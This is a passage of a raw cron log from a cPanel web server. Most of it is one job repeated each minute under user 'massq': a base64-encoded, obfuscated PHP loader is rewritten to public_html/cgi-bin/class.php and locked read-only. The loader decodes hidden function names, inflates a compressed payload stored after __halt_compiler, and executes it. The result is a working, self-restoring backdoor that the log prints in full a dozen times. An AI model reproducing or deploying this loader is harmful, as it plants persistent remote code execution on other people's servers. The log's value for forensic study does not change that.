CR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:22:01 server CROND[17199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:22:01 server CROND[17200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:22:01 server CROND[17201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:23:01 server CROND[17567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:23:01 server CROND[17569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:23:01 server CROND[17568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:24:01 server CROND[17937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:24:01 server CROND[17938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:24:01 server CROND[17939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:25:01 server CROND[18312]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:25:01 server CROND[18314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:25:01 server CROND[18315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:25:01 server CROND[18316]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 02:25:01 server CROND[18318]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 02:25:01 server CROND[18317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:25:01 server CROND[18320]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 02:25:01 server CROND[18321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:26:01 server CROND[19141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:26:01 server CROND[19140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:26:01 server CROND[19142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:27:02 server CROND[19504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:27:02 server CROND[19505]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 02:27:02 server CROND[19506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:27:02 server CROND[19507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:28:01 server CROND[19883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:28:01 server CROND[19884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:28:01 server CROND[19885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:29:01 server CROND[20248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:29:01 server CROND[20249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:29:01 server CROND[20251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:30:01 server CROND[20728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 02:30:01 server CROND[20735]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 02:30:01 server CROND[20733]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 02:30:01 server CROND[20736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:30:01 server CROND[20732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:30:01 server CROND[20738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:30:01 server CROND[20731]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:30:01 server CROND[20737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:31:01 server CROND[21580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:31:01 server CROND[21581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:31:01 server CROND[21582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:32:01 server CROND[21996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:32:01 server CROND[21997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:32:01 server CROND[21998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:33:01 server CROND[22442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:33:01 server CROND[22443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
